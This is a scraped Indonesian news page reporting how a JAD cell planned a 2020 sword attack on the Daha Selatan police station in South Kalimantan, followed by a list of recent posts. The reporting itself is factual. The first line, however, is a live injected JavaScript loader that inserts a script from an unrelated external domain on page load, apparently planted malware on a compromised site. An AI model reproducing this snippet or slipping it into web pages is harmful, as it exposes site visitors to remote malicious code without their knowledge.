(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Target dan Waktu Aksi Terorisme Sudah Dipilih, Uang Rp 500 Ribu buat Modal Bikin Samurai!


KANALKALIMANTAN.COM, BANJARBARU– Satu-persatu fakta di balik aksi serangan teroris di Mapolsek Daha Selatan, Hulu Sungai Selatan (HSS), akhirnya terkuak. Selain pelaku dan adanya otak aksi teror, serangan tersebut ternyata sudah dirancang jauh hari sebelumnya. Termasuk dipilihnya AR selaku eksekutor lapangan!

Ini mematahkan anggapan sebelumnya jika serangan atas Mapolsek Daha Selatan dilakukan secara acak dan tak terkait unsur terorisme. Karena sejak awal, dari tangan AR sudah ditemukan bukti berupa syal dan kartu identitas ISIS, selembar surat wasiat bertulis tangan, serta Alquran kecil yang disimpan dalam tas pinggang pelaku. Juga senjata samurai, yang kesemuanya mengarah bahwa pelaku sudah mempersiapkan diri.

Dari keterangan yang disampaikan Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Awi Setiyono, ada pertemuan sebelumnya antara pelaku AR dengan terasngka teroris lain untuk merancang aksi. Sebab diketahui, ide rencana aksi teror kepada tim amaliyah justru berasal dari AS, yang sebelumnya diamankan Densus 88 di Tanah Bumbu. “(AS) yang berperan memberikan ide kepada tim amaliyah untuk melaksanakan aksi penyerangan dengan target anggota polisi dan kantor polisi di Mapolsek Daha Selatan,” kata Brigjen Awi.

Dipilihnya Polsek Daha Selatan, juga kemungkinan dengan pertimbangan bahwa AR merupakan ‘lokal boy’ alias warga setempat yang mengetahui seluk-beluk lokasi target. Hal ini sebelumnya juga ditegaskan Humas Polda Kalsel Kombes Rifai yang membenarkan bahwa AR merupakan warga HSS.

Sokongan untuk menjalankan aksi juga diberikan oleh TA, terduga teroris yang membaiat AR, dan empat teman lainnya yakni MZ, AR, AS, AN, dan MR menjadi bagian Jamaah Ansharut Daulah (JAD) Kalimantan Selatan (Kalsel). “Tersangka TA memberi uang untuk membuat pedang yang digunakan dalam aksi teror.Ia memberikan uang Rp 500.000 untuk pembuatan pedang samurai yang dipakai pelaku menyerang Mapolsek Daha Selatan,” terang Awi.

Dan, aksi penyerangan itu pun benar terjadi. Sekitar pukul 02.15 Wita Bripda M Azmi mendengar keributan di ruang SPKT, pada saat itu posisi Bripda M Azmi berada di ruangan unit reskrim. Kemudian mendatangi ke ruangan SPKT dan melihat keadaan Brigadir Leonardo Latupapua sudah mengalami luka bacok, kemudian Bripda M Azmi mendatangi Kanit Intel Brigadir Djoman Sahat Manik Raja untuk meminta pertolongan dan bersama sama mendatangi ruang SPKT.

“Kemudian AR (pelaku) tersebut mengejar kedua anggota yang mendatangi ruang SPKT tersebut dengan sajam jenis samurai yang sudah terhunus,” kata Kombes Rifa’i.

Lebih lanjut ia menjelaskan, anggota yang dikejar tersebut lari ke ruang Intel dan Binmas serta mengunci ruangan dari dalam sambil meminta bantuan menelpon ke Polres Hulu Sungai Selatan. Selanjutnya, AR bersembunyi di ruangan unit Reskrim, hingga bantuan dari Polres HSS datang, pelaku tidak mau menyerah.

Sehingga aparat kepolisian mau tidak mau mengambil tindakan tegas dan terukur terhadap AR dengan memberikan tembakan, hingga akhirnya dinyatakan tewas saat dirujuk ke RSUD Hasan Basry Kandangan.

AR dimakamkan di Kabupaten Hulu Sungai Selatan, pada Jumat (5/6/2020) dengan pengamanan ketat pihak Polres setempat melibatkan sekitar 15 orang personel. Bersamaan pada waktu itu juga, Densus 88 meringkus jaringan JAD Kalsel yang menjadi dalang aksi tersebut.(kanalkalimantan.com)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.